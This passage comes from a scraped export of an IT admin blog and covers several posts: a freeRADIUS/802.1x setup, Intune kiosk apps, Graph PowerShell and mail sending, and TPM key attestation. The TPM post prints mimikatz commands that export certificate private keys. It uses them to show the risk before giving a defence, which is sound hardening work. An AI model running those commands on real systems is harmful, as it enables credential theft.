deploy the solution:\nLink to GitHub Repo (nicolonsky/AAD-FreeRadius-802.1x){: .btn .btn\u0026ndash;primary}\nPrerequisites # Docker host \u0026amp; client to build and run the image (can be any kind of linux server or PaaS offering) Certification authority that deploys client certificates (ADCS or Cloud based like SCEPMan) Revocation information is accessible via OCSP responder Clients certificate deployment via SCEP For Microsoft based OCSP responders nonce support must be enabled Setup # The following steps describe the setup of freeRADIUS with docker. The setup can either be done with an Active Directory Certificate Services (ADCS) based certification authority or with a self-signed certificate for the freeRADIUS server.\nServer certificate # When you run ADCS you can issue your server certificate from your internal CA. Alternatively you can issue a self-signed certificate. The SCEPman enterprise edition also support certificate manager to issue server certificates.\nCertificate template (ADCS) # When using ADCS create a new certificate template to request for the freeRADIUS server, alternatively you can also use your existing template for NPS.\nDuplicate \u0026ldquo;Web Server\u0026rdquo; template General: Display name: nicolonsky RADIUS Compatibility: Raise both CA and recipient to Server 2016 Issuance Requirements: check require certificate manager approval Subject Name Supply in the request Extensions Application policies: Client Authentication, Server authentication Cryptography: Provider category: Key Storage Provider Request must use one of the following providers: Microsoft Software Key Storage Provider Request hash: SHA256 Mark template as issuable: Manage -\u0026gt; New certificate template to issue Request certificate (ADCS) # To enroll the previously created certificate template on the internal CA the following steps are required to create a certificate signing request (CSR) and issue the certificate:\nRequest a new certificate: openssl req -new -sha256 -newkey rsa:2048 -nodes -keyout raddb/certs/server.pem -days 365 -out request.csr Make sure to choose a suitable server name during the CSR prompts, I\u0026rsquo;ve chosen: radius.intra.nicolonsky.ch Submit CSR to Issuing CA Submit request (from a domain joined machine) and remember the request id: certreq -attrib \u0026quot;CertificateTemplate:nicolonskyRADIUSServer\u0026quot; -submit \u0026quot;C:\\temp\\request.csr\u0026quot; Confirm the certificate request Retrieve issued certificate: certreq -retrieve 24 Append certificate contents (export as base64 encoded) to: raddb/certs/server.pem If you are using a non unix system you can easily find the openssl binaries within the git scm installation folder to create your certificate request. {: .notice\u0026ndash;info}\nIssue self-signed certificate # A self signed certificate can be issued with:\nopenssl req -x509 -new -sha256 -newkey rsa:2048 -nodes -keyout raddb/certs/server.pem -days 365 -out raddb/certs/server.pem If you choose this approach make sure to distribute the certificate via Intune as trusted certificate to your endpoints.\nGather Issuing CA certificate # When SCEPMan is your CA for client certificates: use the SCEPMan CA certificate When ADCS is your CA for client certificates: export the CA certificate Copy base64 certificate of your issuing CA(s) to: raddb/certs/ca.pem Add RADIUS clients # Add your radius clients to: raddb/clients.conf and make sure to generate a strong shared secret - you will configure this on your access points or Wi-Fi management solution: client access-point-mgmt-network { ipaddr = 172.16.10.0/24 shortname = LAB secret = \u0026lt;RADIUS Shared Secret\u0026gt; } Update OCSP responder URL # Update the URL to match your OCSP responder: raddb/mods-enabled/eap (L#706) ocsp { ... # If the OCSP Responder address is not extracted from # the certificate, the URL can be defined here. # url = \u0026#34;https://\u0026lt;OCSP-Responder-URL\u0026gt;/ocsp\u0026#34; ... } Build and run your docker images # Because the github repos contains a docker-compose and Dockerfile we can automatically build the image (basically just copying config) and sping up a container - that\u0026rsquo;s awesome, isn\u0026rsquo;t it?\ndocker compose build docker compose up -d Creating a Wi-Fi network with 802.1x authentication # On my unifi router I added a new RADIUS Profile (I also added the accounting parts, this is not necessary, though):\nCreated a lab network and corresponding Wi-Fi SSID with WP2 Enterprise authentication. Intune config # I distributed the self-signed certificate of the RADIUS server via Intune as trusted certificate For the ADCS based deployment the root and issuing CA certificates need to be deployed anyway to allow issuance of certificates for SCEP clients Deployed the Wi-Fi profile for my previously created lab SSID/Network. Additional configuration # Create a DNS record that points to the docker host (A or CNAME): radius.nicolonsky.ch [needs to match certificate CN or SAN] and also the configured server name of the Wi-Fi profile Testing # To test the radius functionality you can also extend your docker-compose file to launch the freeRADIUS server in foreground mode by adding:\ncommand: radiusd -X This prints all client connection requests and server activity to the console.\nDuring testing and for troubleshooting during the operation it can be helpful to connect into the docker container to view the logs:\nConnect into container: docker exec -it aad-freeradius-8021x-radius-1 bin/bash View Radius logs: tail opt/var/log/radius/radius.log Recap # The freeRADIUS deployment with docker provides a quick and robust way to deploy a radius server with capabilities to authenticate Azure AD joined devices. The setup can be further enhanced by forwarding logs via syslog to a central syslog server and even be ingested into Microsoft sentinel.\nSources and furhter reading # Articles and docs that helped me to \u0026ldquo;develop\u0026rdquo; and build this solution:\nhttps://wiki.alpinelinux.org/wiki/FreeRadius_EAP-TLS_configuration https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/certificate-requirements-eap-tls-peap#server-certificate-requirements https://docs.docker.com/compose/ https://docs.docker.com/engine/reference/commandline/exec/ https://hub.docker.com/r/freeradius/freeradius-server/ https://learn.microsoft.com/en-us/azure/sentinel/connect-syslog ","date":"25 September 2022","externalUrl":null,"permalink":"/radius-aad-joined-devices/","section":"Posts","summary":"A common pitfall in environments where Windows server is used for radius authentication is that Microsoft network policy server (NPS) does currently not support device based authentication for Azure AD joined devices. NPS always checks for the existence of a corresponding computer object in AD. For my home setup and lab I wanted to build a radius solution to enable 802.1x authentication on my Wi-Fi network.\nDisclaimer # This post describes my setup and does not cover prerequisites like certification authority, certificate revocation and client certificate deployment via SCEP. Furthermore you should be familiar with docker, network topics, dns and Intune.\nAvailable solutions # Well known commercial Network Access Control (NAC) solutions like CISCO ISE or Aruba Clearpass often ship with an integrated RADIUS server and the possibility to configure wheter LDAP lookups for computer accounts should happen. Important is, that the solution supports certificate revocation checks either via CRLs or OCSP to ensure network access is blocked when a client certificate is revoked.\nFor my home and lab setup I wanted to leverage a free or open source solution and decided to use freeRADIUS, probably the most popular open source radius server. freeRADIUS supports EAP-TLS for 802.1x authentication out of the box and is well documented. Additionally, I was looking for a solution that can be deployed to both locallly in my network (e.g. on a raspberry pi) and also to PaaS offerings like Azure.\n","title":"Setting up a radius server for Azure AD joined devices and 802.1x","type":"posts"},{"content":"","date":"20 September 2022","externalUrl":null,"permalink":"/tags/android/","section":"Tags","summary":"","title":"Android","type":"tags"},{"content":"Android enterprise dedicated devices with the Microsoft Managed Homescreen app are a conenient way to provide devices with restricted functionality and customized look and feel to end users. Because the Managed Homescreen app acts as an overlay to the underlying Android certain prompts and features are not enabled by default unless you allow-list them by deploying the corresponding Android System App and add the app to the kiosk device restrictions.\nSystem Apps # System apps can be added as separate app type within MEM:\nIt is important to deploy the desired system apps as required to your devices and also adding them within the kiosk configuration:\nList of commonly used System apps for Samsung devices # Based on a recent project where we had Samsung devices in place we allow-listed the following system apps within the kiosk configuration:\nDescription App Bundle ID USB File Transfer Prompt Android Version \u0026lt; 12 com.samsung.android.MtpApplication USB File Transfer Prompt Android Version \u0026gt;= 12 com.android.mtp Android System UI (used for a variety of prompts) com.android.systemui Service Mode App (USB prompts) com.sec.android.app.servicemodeapp Knox license prompts com.samsung.android.knox.pushmanager Samsung Android update prompts com.wssyncmldm Knox smdms com.sec.enterprise.knox.cloudmdm.smdms Knox container core com.samsung.android.knox.containercore Knox attestation com.sec.enterprise.knox.attestation Keyboard changes com.samsung.android.honeyboard An indicator to decide wheter you need to add an app to the list is always when you can see the prompts outside of the managed homescreen app after leaving the kiosk mode. {: .notice\u0026ndash;info}\nHow to retrieve android app bundle IDs # Besides googling for the package IDs, in this case Samsung had documented some, an Android APK debugger (I used the one from Martyn Styk) can be quite helpful to determine the app bundle identifiers: I hope this quick post helps you to fine-tune your android enterprise dedicated devices setup.\n","date":"20 September 2022","externalUrl":null,"permalink":"/android-kiosk-system-apps/","section":"Posts","summary":"Android enterprise dedicated devices with the Microsoft Managed Homescreen app are a conenient way to provide devices with restricted functionality and customized look and feel to end users. Because the Managed Homescreen app acts as an overlay to the underlying Android certain prompts and features are not enabled by default unless you allow-list them by deploying the corresponding Android System App and add the app to the kiosk device restrictions.\nSystem Apps # System apps can be added as separate app type within MEM:\nIt is important to deploy the desired system apps as required to your devices and also adding them within the kiosk configuration:\nList of commonly used System apps for Samsung devices # Based on a recent project where we had Samsung devices in place we allow-listed the following system apps within the kiosk configuration:\nDescription App Bundle ID USB File Transfer Prompt Android Version \u003c 12 com.samsung.android.MtpApplication USB File Transfer Prompt Android Version \u003e= 12 com.android.mtp Android System UI (used for a variety of prompts) com.android.systemui Service Mode App (USB prompts) com.sec.android.app.servicemodeapp Knox license prompts com.samsung.android.knox.pushmanager Samsung Android update prompts com.wssyncmldm Knox smdms com.sec.enterprise.knox.cloudmdm.smdms Knox container core com.samsung.android.knox.containercore Knox attestation com.sec.enterprise.knox.attestation Keyboard changes com.samsung.android.honeyboard An indicator to decide wheter you need to add an app to the list is always when you can see the prompts outside of the managed homescreen app after leaving the kiosk mode. {: .notice–info}\n","title":"Android dedicated devices managed home screen and system apps","type":"posts"},{"content":"When you are new to RESTful APIs and want to start with Microsoft Graph to automate tasks in your Endpoint Manager tenant all the stuff about app registrations, access tokens, pagination and request headers can be quite confusing. In this post I want to show you a quick tip to kickstart your Microsoft Graph API experience.\nRequirements # Cloud admin account with Intune Administrator role assigned Ability to install Modules from the PowerShell gallery JWT # Just because you can\u0026rsquo;t see it\u0026hellip; doesn\u0026rsquo;t mean it isn\u0026rsquo;t there: Due to the naturality of OAuth 2.0 and OpenID connect (these are the protocols involved for authorization and authentication in a cloud environment) we can capture short lived access tokens, also called Json Web Tokens (JWTs) directly from a browser. Tokens are usually valid between 50 and 60 minutes - just what we need to get some hands on with Microsoft Graph API and MEM automation.\nThe cool thing is actually that we don\u0026rsquo;t need any kind of app registration or additional permissions which can be quite some blocker in certain restricted environments (or staff unfamiliar with those technologies 😉).\nModules # We can easily install the required Microsoft Graph Modules for the MEM area with the following command:\nInstall-Module Microsoft.Graph.DeviceManagement -Scope CurrentUser -Force Let\u0026rsquo;s connect # To obtain the JWT:\nVisit Microsoft Endpoint Manager Admin Center Start your browsers dev tools (usually F12 key) Visit the network section Enter: graph.microsoft.com as filter Reload the page (via reload button or F5 key) Select the first request Copy the Authorization header value To tell the Microsoft Graph PowerShell SDK about our access token we can simply connect with:\nConnect-Graph -AccessToken \u0026#34;\u0026lt;Insert Your Copied JWT from above\u0026gt;\u0026#34;.Replace(\u0026#34;Bearer \u0026#34;,\u0026#34;\u0026#34;) \u0026hellip; and we can start to query data from the API, for example getting a list of all managed devices:\nGet-MgDeviceManagementManagedDevice -All That\u0026rsquo;s probably the most simple way to get started with the Microsoft Graph PowerShell SDK! Additionally this is supported for lots of permissions you have assigned to you administrative account as the JWT contains the Directory.AccessAsUser.All scope. Furthermore, this approach works for all scenarios, even if an organization has not allowed apps like the Microsoft Graph Explorer or prevents you from creating custom app registrations.\nIn case you want to know more about how to connect interactively or by creating your own app registration you can find more details in a post I published a while ago.\n","date":"9 September 2022","externalUrl":null,"permalink":"/graph-powershell-sdk-kickstart/","section":"Posts","summary":"When you are new to RESTful APIs and want to start with Microsoft Graph to automate tasks in your Endpoint Manager tenant all the stuff about app registrations, access tokens, pagination and request headers can be quite confusing. In this post I want to show you a quick tip to kickstart your Microsoft Graph API experience.\nRequirements # Cloud admin account with Intune Administrator role assigned Ability to install Modules from the PowerShell gallery JWT # Just because you can’t see it… doesn’t mean it isn’t there: Due to the naturality of OAuth 2.0 and OpenID connect (these are the protocols involved for authorization and authentication in a cloud environment) we can capture short lived access tokens, also called Json Web Tokens (JWTs) directly from a browser. Tokens are usually valid between 50 and 60 minutes - just what we need to get some hands on with Microsoft Graph API and MEM automation.\nThe cool thing is actually that we don’t need any kind of app registration or additional permissions which can be quite some blocker in certain restricted environments (or staff unfamiliar with those technologies 😉).\n","title":"The  easiest way to work with the Microsoft Graph PowerShell SDK","type":"posts"},{"content":"App protection (also called MAM) policies have been around for a couple of years within MEM and I already used them in various projects to protect company data on unmanaged iOS and Android devices. One of the drawbacks with this approach is that we do not have full visibility about the usage and I tried to shed some light about this with a PowerShel reporting script that pulls data from the Microsoft Graph API.\nInformation visible within the portal # In the MEM portal we can find report data about the number of users that have checked-in to any MAM policy grouped by the respective app.\nIf we want to perform a wipe we will also be able to see the devices a user has registered:\nOf course I was curious which additional data is available on the Microsoft Graph API and found the following resource storing app protection policy check in details: /users/{ID}/managedAppRegistrations.\nScript # The script uses the Intune PowerShell SDK (could easily be ported to MSAL.PS because I wrote it already a couple of months ago) to enumerate all internal users within the tenant and will check the above mentioned managedAppRegistrations resource. At the end you are presented a flattened CSV report containig the following details:\n","date":"13 December 2021","externalUrl":null,"permalink":"/app-protection-policy-report/","section":"Posts","summary":"App protection (also called MAM) policies have been around for a couple of years within MEM and I already used them in various projects to protect company data on unmanaged iOS and Android devices. One of the drawbacks with this approach is that we do not have full visibility about the usage and I tried to shed some light about this with a PowerShel reporting script that pulls data from the Microsoft Graph API.\nInformation visible within the portal # In the MEM portal we can find report data about the number of users that have checked-in to any MAM policy grouped by the respective app.\nIf we want to perform a wipe we will also be able to see the devices a user has registered:\nOf course I was curious which additional data is available on the Microsoft Graph API and found the following resource storing app protection policy check in details: /users/{ID}/managedAppRegistrations.\nScript # The script uses the Intune PowerShell SDK (could easily be ported to MSAL.PS because I wrote it already a couple of months ago) to enumerate all internal users within the tenant and will check the above mentioned managedAppRegistrations resource. At the end you are presented a flattened CSV report containig the following details:\n","title":"Intune app protection policy report","type":"posts"},{"content":"Device and user-based certificates are commonly used for secure authentication for services like: MECM in HTTPS mode, Always On VPN, 802.1x for (wireless) LAN and so on. Mostly these certificates are deployed from an internal PKI and the certificate templates are somewhat outdated because everybody is afraid of touching these settings. As with any type of credentials - credential theft is also applicable for certificates and the corresponding private keys. So let\u0026rsquo;s dive in and learn the risk and how to reduce the attack surface.\nUnderstanding cryptography providers # Before we start with the actual theft we need to know how certificates and the corresponding private keys are stored on Windows devices. Microsoft operating systems implement various cryptographic providers which can be either software or hardware based. The two most important ones are:\nMicrosoft Software Key Storage Provider \u0026ldquo;Standard\u0026rdquo; provider which stores keys software based and supports CNG (Crypto-Next Generation) Microsoft Platform Crypto Provider Hardware based which stores keys on a TPM (trusted platform module) and supports CNG as well When a client is requesting a new certificate from a CA he generates a key pair consisting of a private and public key with such a crpytographic provider.\nAre private keys exportable? # The Allow private key to be exported flag can be set directly on the certificate template and controls if the certificate key is marked as exportable. The problem here is that based on the cryptographic provider the provider can be patched to allow exporting the key material by tools like mimikatz. This \u0026ldquo;technique\u0026rdquo; exists already for almost a decade so nothing special:\nprivilege::debug crypto::cng crypto::certificates /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE /store:MY /export Dont enable the Allow private key to be exported flag on certificates distributed to Windows clients or end users when not necessary (of course exceptions for separate S/MIME and Code Signing certificates exist) Just because you didn\u0026rsquo;t set the flag don\u0026rsquo;t believe that you are not vulnerable to this type of credential theft {: .notice\u0026ndash;warning} Key Attestation # Okay, but I promised that this post will be about key based attestation. So what\u0026rsquo;s this? By leveraging hardware security features, more precisely a TPM (trusted platform module) windows supports using the \u0026ldquo;Microsoft Platform Crypto Provider\u0026rdquo; which generates and stores key pairs by within a TPM which is considered tamper proof.\nTo support key attestation the following prerequisites must be met:\nServer 2012 R2 Enterprise CA or newer Clients running Windows 10 (Windows 8.1 would be the minimum but I guess nobody uses this) and having a TPM present Key attestation can be configured with multiple deployment options going as far as restricting which TPMs (based on manufacturer cert) or even specific devices based on the TPM cert. You can find more details on the oficial Microsoft Docs but I\u0026rsquo;m focusing on the basics within this post.\nConfiguring the certificate template # To enforce key attestation for Active Directory machines the following settings are required on the certificate template (I\u0026rsquo;d recommend duplicating your existing client or user certificate):\nRaise the compatibility settings to at least Windows Server 2012 R2 for the CA and Windows 8.1 / Windows Server 2012 R2 for the recipient or newer (based on your environment) Select the Microsoft Platform Crypto Provider and I\u0026rsquo;d also recommend setting the request hash to SHA-256 Set the key attestation settings to required and select User credentials The issuance policy setting can be left default and as a result will be stamped into the issued certificate indicating that the client performed attestation. If you want to learn more about the policy extensions here\u0026rsquo;s a good article by Vadims Podāns {: .notice\u0026ndash;info}\nTheft attempt 2.0 # When repeating the mimikatz steps we can see that the certificate protected by our machines TPM cannot be exported anymore:\nwe can also verify the TPM KSP (key storage provider) where the private key got enrolled on a machine by using certutil:\ncertutil -csp \u0026#34;TPM\u0026#34; -key -v Upgrading existing certificates # To replace your existing certificates with TPM attestation based ones make sure that you have certificate auto enrollment activated on your clients. Don\u0026rsquo;t edit your existing certificate template and create new ones instead. Afterwards you can add your non-key attestation templates as superseeded within the newly created templates and clients will automatically enroll the new one (don\u0026rsquo;t forget to grant auto enroll permissions).\nProtecting SCEP Certificates (non Active Directory machines) # For SCEP certificate enrollment via Intune we can configure the TPM attestation settings directly within the SCEP profile settings under the key storage provider option. Because the certificates are enrolled on behalf of the NDES service account we cannot enable these on the certificate template directly.\nFinal words # Now you should be able to better protect your certificate based credentials with a smooth migration path and I recommend to protect all certificates containing the Client Authentication (1.3.6.1.5.5.7.3.2) extended key usage with TPM attestation.\nAnd by the way, Microsoft Defender detects all the noisy mimikatz operations but the most important one to watch out for is the lsass process modification because lsass protects the cryptographic providers stores on Windows machines:\nReferences # https://www.pkisolutions.com/understanding-microsoft-crypto-providers/ https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/tpm-key-attestation ","date":"28 August 2021","externalUrl":null,"permalink":"/adcs-tpm-key-attestation/","section":"Posts","summary":"Device and user-based certificates are commonly used for secure authentication for services like: MECM in HTTPS mode, Always On VPN, 802.1x for (wireless) LAN and so on. Mostly these certificates are deployed from an internal PKI and the certificate templates are somewhat outdated because everybody is afraid of touching these settings. As with any type of credentials - credential theft is also applicable for certificates and the corresponding private keys. So let’s dive in and learn the risk and how to reduce the attack surface.\nUnderstanding cryptography providers # Before we start with the actual theft we need to know how certificates and the corresponding private keys are stored on Windows devices. Microsoft operating systems implement various cryptographic providers which can be either software or hardware based. The two most important ones are:\nMicrosoft Software Key Storage Provider “Standard” provider which stores keys software based and supports CNG (Crypto-Next Generation) Microsoft Platform Crypto Provider Hardware based which stores keys on a TPM (trusted platform module) and supports CNG as well When a client is requesting a new certificate from a CA he generates a key pair consisting of a private and public key with such a crpytographic provider.\n","title":"Have you considered TPM key attestation?","type":"posts"},{"content":"Based on one of my older posts about PowerShell script signing with Azure DevOps I recently implemented a PowerShell script signing workflow with GitHub actions I wanted to share with the community.\nPrerequisites # For this post the following prerequisites are required:\nCode signing certificate in PFX format GitHub account Add variables to GitHub actions # Because GitHub variables can only be of string content we need to get the contents of the pfx file as base64 encoded string:\n$pfxCertFilePath = \u0026#34;~\\Downloads\\CodeSigningCertificate.pfx\u0026#34; $pfxContent = Get-Content $pfxCertFilePath -Encoding Byte [System.Convert]::ToBase64String($pfxContent) | Set-Clipboard GitHub action variables # Add two variables as actions secrets:\nBASE64_PFX: Base 64 encoded string of the PFX (automatically copied into your clipboard with the above commands) PFX_PASSWORD: Password for the private key of the pfx file\nGitHub action workflow # Place the following workflow file within your git repository: .github/workflows/SignPowerShell.yaml whereas the name of the YAML file can be freely chosen.\nWorkflow execution # The GitHub workflow is picked up on any push actions to the repository, this might not be what you actually want and can be easy adjusted with a different trigger type.\nThe signed PowerShell scripts are published as pipeline artifact and a zip file with all signed scripts can be downloaded:\nConclusion # Doing PowerShell script signing is quite easy with GitHub actions and this example workflow should get you started and can be easily augmented with additional steps like creating a release or other publishing.\n","date":"9 July 2021","externalUrl":null,"permalink":"/github-actions-powershell-signing/","section":"Posts","summary":"Based on one of my older posts about PowerShell script signing with Azure DevOps I recently implemented a PowerShell script signing workflow with GitHub actions I wanted to share with the community.\nPrerequisites # For this post the following prerequisites are required:\nCode signing certificate in PFX format GitHub account Add variables to GitHub actions # Because GitHub variables can only be of string content we need to get the contents of the pfx file as base64 encoded string:\n$pfxCertFilePath = \"~\\Downloads\\CodeSigningCertificate.pfx\" $pfxContent = Get-Content $pfxCertFilePath -Encoding Byte [System.Convert]::ToBase64String($pfxContent) | Set-Clipboard GitHub action variables # Add two variables as actions secrets:\nBASE64_PFX: Base 64 encoded string of the PFX (automatically copied into your clipboard with the above commands) PFX_PASSWORD: Password for the private key of the pfx file\nGitHub action workflow # Place the following workflow file within your git repository: .github/workflows/SignPowerShell.yaml whereas the name of the YAML file can be freely chosen.\n","title":"Automatically sign your PowerShell scripts with GitHub actions","type":"posts"},{"content":"","date":"19 March 2021","externalUrl":null,"permalink":"/tags/graph/","section":"Tags","summary":"","title":"Graph","type":"tags"},{"content":"The Send-MailMessage cmdlet has been around for a couple of years and is mostly used to send email messages from PowerShell. But with the deprecation and security flaws of legacy authentication it\u0026rsquo;s time for a better option which actually supports modern authentication. For this purpose we can use the Microsoft Graph API and the Microsoft Graph PowerShell SDK. The best thing is that this solution works without any service account and does not need any exclusions from conditional access.\nMicrosoft Graph resource # To send a mail we simply specify the user account from which we want to send the email:\nPOST: https://graph.microsoft.com/v1.0/users/sean.connery@dev.nicolonsky.ch/sendMail Create an app registration # Simply create a new app registration with the Mail.Send permissions and use a certificate for the authentication.\nWe need to take additional steps to limit the permissions of the app registration. Otherwise the app can send mails on behalf of any user in your tenant. To limit the permissions we leverage exchange application access policies.\nConnect to Exchange Online with the ExchangeOnlineManagement PowerShell module Connect-ExchangeOnline\nCreate a mail enabled security group which contains all the accounts you want to send mails from $restrictedGroup = New-DistributionGroup -Name \u0026quot;Mail service accounts\u0026quot; -Type \u0026quot;Security\u0026quot; -Members @(\u0026quot;sean.connery@dev.nicolonsky.ch\u0026quot;)\nOptionally hide the group from the address list Set-DistributionGroup -Identity $restrictedGroup.Identity -HiddenFromAddressListsEnabled $true\nCreate the application access policy to only allow sending the app mails for the specified distribution group\n$params = @{ AccessRight = \u0026#34;RestrictAccess\u0026#34; AppId = \u0026#34;1f5ffbea-f13f-4f1a-af63-258ce4344daf\u0026#34; PolicyScopeGroupId = $restrictedGroup.PrimarySmtpAddress Description = \u0026#34;Restrict app permissions to only allow access to service account\u0026#34; } New-ApplicationAccessPolicy @params Wait a couple of minutes / hours for the policy to take effect\nIf you now try to send a mail from an account not within the referenced distribution list you get some kind of access denied message Sending emails # To actually send an email message make sure to have the MSAL.PS Module installed to acquire an access token.\nAfterwards we can send an email message with the following PowerShell code:\n# acquire an access token to interact with the app # we use a certificate from the users personal store $appRegistration = @{ TenantId = \u0026#34;dev.nicolonsky.ch\u0026#34; ClientId = \u0026#34;1f5ffbea-f13f-4f1a-af63-258ce4344daf\u0026#34; ClientCertificate = Get-Item \u0026#34;Cert:\\CurrentUser\\My\\164446192FE04237C206211D59730445CA892911\u0026#34; } $msalToken = Get-msaltoken @appRegistration -ForceRefresh # get byte contents of attachement and encode it as base64 $attachementPath = Get-Item $MyInvocation.MyCommand.Path $byteStream = Get-Content -Path $attachementPath.FullName -AsByteStream $attachementBytes = [System.Convert]::ToBase64String($byteStream) # request body which contains our message $requestBody = @{ \u0026#34;message\u0026#34; = [PSCustomObject]@{ \u0026#34;subject\u0026#34; = \u0026#34;OAuth Mail Sent from PowerShell via App\u0026#34; \u0026#34;body\u0026#34; = [PSCustomObject]@{ \u0026#34;contentType\u0026#34; = \u0026#34;Text\u0026#34; \u0026#34;content\u0026#34; = \u0026#34;Hello this is a test for my latest blog post! `nYou can find the PowerShell script I used in the attachements. `n`n Cheers, `n /nicola\u0026#34; } \u0026#34;toRecipients\u0026#34; = @( [PSCustomObject]@{ \u0026#34;emailAddress\u0026#34; = [PSCustomObject]@{ \u0026#34;address\u0026#34; = \u0026#34;nicola@nicolasuter.ch\u0026#34; } } ) \u0026#34;attachments\u0026#34; = @( @{ \u0026#34;@odata.type\u0026#34; = \u0026#34;#microsoft.graph.fileAttachment\u0026#34; \u0026#34;name\u0026#34; = \u0026#34;Send-OAuthMailMessage.ps1.txt\u0026#34; \u0026#34;contentType\u0026#34; = \u0026#34;text/plain\u0026#34; \u0026#34;contentBytes\u0026#34; = $attachementBytes }) } \u0026#34;saveToSentItems\u0026#34; = \u0026#34;true\u0026#34; } # make the graph request $request = @{ \u0026#34;Headers\u0026#34; = @{Authorization = $msalToken.CreateAuthorizationHeader() } \u0026#34;Method\u0026#34; = \u0026#34;Post\u0026#34; \u0026#34;Uri\u0026#34; = \u0026#34;https://graph.microsoft.com/v1.0/users/sean.connery@dev.nicolonsky.ch/sendMail\u0026#34; \u0026#34;Body\u0026#34; = $requestBody | ConvertTo-Json -Depth 5 \u0026#34;ContentType\u0026#34; = \u0026#34;application/json\u0026#34; } Invoke-RestMethod @request And the result will look like this:\n","date":"19 March 2021","externalUrl":null,"permalink":"/sending-emails-with-modern-auth/","section":"Posts","summary":"The Send-MailMessage cmdlet has been around for a couple of years and is mostly used to send email messages from PowerShell. But with the deprecation and security flaws of legacy authentication it’s time for a better option which actually supports modern authentication. For this purpose we can use the Microsoft Graph API and the Microsoft Graph PowerShell SDK. The best thing is that this solution works without any service account and does not need any exclusions from conditional access.\nMicrosoft Graph resource # To send a mail we simply specify the user account from which we want to send the email:\nPOST: https://graph.microsoft.com/v1.0/users/sean.connery@dev.nicolonsky.ch/sendMail Create an app registration # Simply create a new app registration with the Mail.Send permissions and use a certificate for the authentication.\nWe need to take additional steps to limit the permissions of the app registration. Otherwise the app can send mails on behalf of any user in your tenant. To limit the permissions we leverage exchange application access policies.\nConnect to Exchange Online with the ExchangeOnlineManagement PowerShell module Connect-ExchangeOnline\n","title":"Securely sending emails from PowerShell scripts with modern authentication enforced","type":"posts"},{"content":"While fine-tuning and adjusting applocker policies for co-managed Windows 10 clients I got really annoyed by special characters commonly used in the German/Swiss language. The Intune portal seemed to use different encoding and didn\u0026rsquo;t allow me to just copy/paste the currently deployed policy and extend it with a new rule. I needed to request the original file that was uploaded to the tenant in order to adjust the rule. Instead of just accepting this I decided that it is time for an easier approach which I will share with you.\nThe actual issue # After uploading the XML with the applocker policies (in my case EXE rules), special characters like \u0026lsquo;ö\u0026rsquo; or \u0026lsquo;ü\u0026rsquo; have a weird encoding displayed in the portal. The next person that wants to edit the policy needs to take care to fix the unrecognized characters otherwise the publisher rule won\u0026rsquo;t work anymore.\nTop: Portal view of the special characters, bottom: original file.\nFixing things # Save file with UTF-8 encoding # First, make sure that you saved an uploaded the file with UTF-8 encoding as this introduces support for most character sets. You can do this by selecting the encoding box in the right bottom of Visual Studio Code:\nHow to retrieve the XML value # After visiting the Microsoft Graph explorer and the configuration profile: GET: https://graph.microsoft.com/v1.0/deviceManagement/deviceConfigurations/4fed2209-7658-499e-a506-473e5137f8e9 I understood that the uploaded XML content is served as base64 encoded string from the Graph API:\nA pinch of PowerShell # Of course, we could decode the base64 string we just discovered on the API with an online tool but this would mean that we need to visit Graph Explorer and the base64 decoding tool each time when we want to adjust the policy. With PowerShell we have all the tools we need to make the API requests and decode the base64 to an XML file.\nSo check out the Export-ApplockerPolicy script on my techblog repository which does all the magic and pulls the content of your OMA-URI and saves it decoded to the script location. You only need to pass one script parameter called -ProfileId \u0026lt;GUID\u0026gt; which holds the ID of the configuration profile. You can easily copy the ID when you have opened the configuration profile in the web browser: https://endpoint.microsoft.com/#blade/Microsoft_Intune_DeviceSettings/ConfigurationMenuBlade/properties/configurationId/4fed2209-7658-499e-a506-473e5137f8e9/\u0026hellip;.\nAs a prerequisite for the script you need to have the MSAL.PS PowerShell module installed which handles the access token acquisition for the Graph API.\nConclusion / Recap # I hope this solution saves you some time to edit your applocker policies deployed with Intune. As a little recap, make sure that you initially upload the file with proper UTF-8 encoding and don\u0026rsquo;t worry that the content is still displayed with funny characters after using the solution described here. You can now easily export the applocker policies (with the right encoding and special characters), make your changes and re-upload the file to the Microsoft Endpoint Management portal.\n","date":"16 February 2021","externalUrl":null,"permalink":"/intune-oma-uri-encoding/","section":"Posts","summary":"While fine-tuning and adjusting applocker policies for co-managed Windows 10 clients I got really annoyed by special characters commonly used in the German/Swiss language. The Intune portal seemed to use different encoding and didn’t allow me to just copy/paste the currently deployed policy and extend it with a new rule. I needed to request the original file that was uploaded to the tenant in order to adjust the rule. Instead of just accepting this I decided that it is time for an easier approach which I will share with you.\nThe actual issue # After uploading the XML with the applocker policies (in my case EXE rules), special characters like ‘ö’ or ‘ü’ have a weird encoding displayed in the portal. The next person that wants to edit the policy needs to take care to fix the unrecognized characters otherwise the publisher rule won’t work anymore.\nTop: Portal view of the special characters, bottom: original file.\nFixing things # Save file with UTF-8 encoding # First, make sure that you saved an uploaded the file with UTF-8 encoding as this introduces support for most character sets. You can do this by selecting the encoding box in the right bottom of Visual Studio Code:\n","title":"Dealing with Intune OMA-URI encoding and applocker rules","type":"posts"},{"content":"When working with the Microsoft Graph API or introducing the API to colleagues I often get asked about the steps required to obtain an access token for the API with PowerShell. Out in the wild, I\u0026rsquo;ve spotted many different ways and lots of implementations still relying on the ADAL (Active Directory Authentication Library) despite the fact that this client library is superseded by MSAL (Microsoft Authentication Library). So let\u0026rsquo;s talk about acquiring access token \u0026ldquo;in stile\u0026rdquo; with the most simple method available.\nWhy do we need an access token? # When talking about the Microsoft Graph API an access token fulfills two roles, first: prove authentication (proof of identity) second prove authorization (permissions). Each request needs to submit a request-header that contains the access token.\nFor an API it\u0026rsquo;s crucial to validate the authentication and authorization for every request. Otherwise, requests could be made to resources the actor has no access to.\nWhat\u0026rsquo;s inside the access token # You did probably stumble over the terms \u0026ldquo;bearer authentication\u0026rdquo; or \u0026ldquo;bearer token\u0026rdquo; these describe a mechanism within the OAuth 2.0 Authorization framework to authenticate requests with access tokens. Tokens are issued by the authorization server (Azure AD) and contain a server-generated string in the format of a JSON Web Token (JWT) with the following information (the list is not exhaustive and truncated to only contain the most interesting parts):\nKey Description aud audience of the token which refers to a well known app identifier, like the Microsoft Graph API appid enterprise app id in your tenant iss issuer of the token, refers to your Azure AD Tenant as IDP iat issued at datetime in UNIX epoch time nbf not before, start datetime of the validity period in UNIX epoch time exp expiration datetime in UNIX epoch time scp service principal permissions tid tenant id which issued the token And here is a real bearer token body which I 